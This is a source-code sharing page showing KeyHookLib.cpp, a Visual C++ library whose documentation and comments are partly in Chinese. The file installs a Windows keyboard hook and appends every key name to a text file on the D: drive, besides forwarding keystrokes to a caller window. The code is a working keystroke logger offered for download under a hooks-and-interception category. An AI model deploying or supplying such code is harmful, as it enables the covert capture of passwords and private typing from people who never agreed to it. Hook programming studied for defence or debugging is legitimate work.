KeyHookLib.cpp
资源名称:HookKey.rar [点击查看]
上传用户:hongsj123
上传日期:2022-06-18
资源大小:3192k
文件大小:1k
源码类别:
钩子与API截获
开发平台:
Visual C++
- #include <stdio.h>
- #include <afx.h>
- #include <windows.h>
- #define KEYHOOKLIB_EXPORTS
- #include "KeyHookLib.h"
- #pragma data_seg("YCIShare")
- HWND g_hWndCaller = NULL;
- HHOOK g_hHook = NULL;
- #pragma data_seg()
- HMODULE WINAPI ModuleFromAddress(PVOID pv)
- {
- MEMORY_BASIC_INFORMATION mbi;
- if (::VirtualQuery(pv,&mbi,sizeof(mbi)) != 0)
- {
- return (HMODULE)mbi.AllocationBase;
- }
- else
- {
- return NULL;
- }
- }
- LRESULT CALLBACK KeyHookProc(int nCode,WPARAM wParam,LPARAM lParam)
- {
- if (nCode<0||nCode==HC_NOREMOVE)
- {
- return ::CallNextHookEx(g_hHook,nCode,wParam,lParam);
- }
- if (lParam & 0x40000000)
- {
- return ::CallNextHookEx(g_hHook,nCode,wParam,lParam);
- }
- ::PostMessage(g_hWndCaller,HM_KEY,wParam,lParam);
- char str[20];
- FILE *KeyFile;
- ::GetKeyNameText(lParam,str,20);
- //_itoa( lParam, str, 10 );
- if (KeyFile = fopen("D:\Key.txt","a"))
- {
- fputs(str,KeyFile);
- fputs(" ",KeyFile);
- fclose(KeyFile);
- }
- //printf("%d",HM_KEY);
- //str.Format("%d",HM_KEY);
- //MessageBox(NULL,str,"你好",MB_OK);
- return ::CallNextHookEx(g_hHook,nCode,wParam,lParam);
- }
- BOOL WINAPI SetKeyHooK(BOOL bInstall,DWORD dwThreadId ,HWND hWndCaller)
- {
- BOOL bOk;
- g_hWndCaller = hWndCaller;
- if (bInstall)
- {
- g_hHook = ::SetWindowsHookEx(WH_KEYBOARD,KeyHookProc,ModuleFromAddress(KeyHookProc),dwThreadId);
- bOk = (g_hHook != NULL);
- }
- else
- {
- bOk = ::UnhookWindowsHookEx(g_hHook);
- g_hHook = NULL;
- }
- return bOk;
- }